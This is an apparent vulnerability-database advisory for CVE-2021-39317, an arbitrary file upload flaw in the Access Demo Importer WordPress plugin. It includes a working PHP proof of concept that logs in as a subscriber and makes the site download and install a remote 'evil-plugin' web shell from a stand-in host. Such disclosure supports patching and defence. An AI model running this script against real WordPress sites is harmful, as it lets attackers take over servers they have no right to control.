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WordPress Plugin Vulnerabilities

Access Demo Importer < 1.0.7 - Subscriber+ Arbitrary File Upload

Description

Versions up to, and including, 1.0.6, of the Access Demo Importer WordPress plugin are vulnerable to arbitrary file uploads via the plugin_offline_installer AJAX action due to a missing capability check in the plugin_offline_installer_callback functionfound in the ~/inc/demo-functions.php file along with insufficient file validation.

Proof of Concept

<?php
​
// Settings
$wp_url = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];
​
// 1) Log in as subscriber
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log'        => $wp_user,
    'pwd'        => $wp_pass,
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);
​
// Update Settings
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'action' => 'plugin_offline_installer',
    'file_location' => 'https://example.com/evil-plugin.zip',
    'file' => 'evil-plugin.php',
    'host_type' => 'remote',
    'class_name' => 'webshell',
    'slug' => 'evil-plugin'
]);
​
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
​
?> 

Affects Plugins

access-demo-importer
Fixed in version 1.0.7

References

CVE
CVE-2021-39317
URL
https://www.wordfence.com/blog/2021/10/high-severity-vulnerability-patched-in-access-demo-importer-plugin/

Classification

Type

UPLOAD

CWE
CWE-434

Miscellaneous

Original Researcher

Chloe Chamberland

Submitter

Chloe Chamberland

Submitter website
https://wordfence.com
Submitter twitter
Wordfence
Verified

Yes

WPVDB ID
037d0476-d3f2-4cb8-a071-ad28bef5418b

Timeline

Publicly Published

2021-10-06 (about 10 months ago)

Added

2021-10-06 (about 10 months ago)

Last Updated

2022-04-09 (about 4 months ago)

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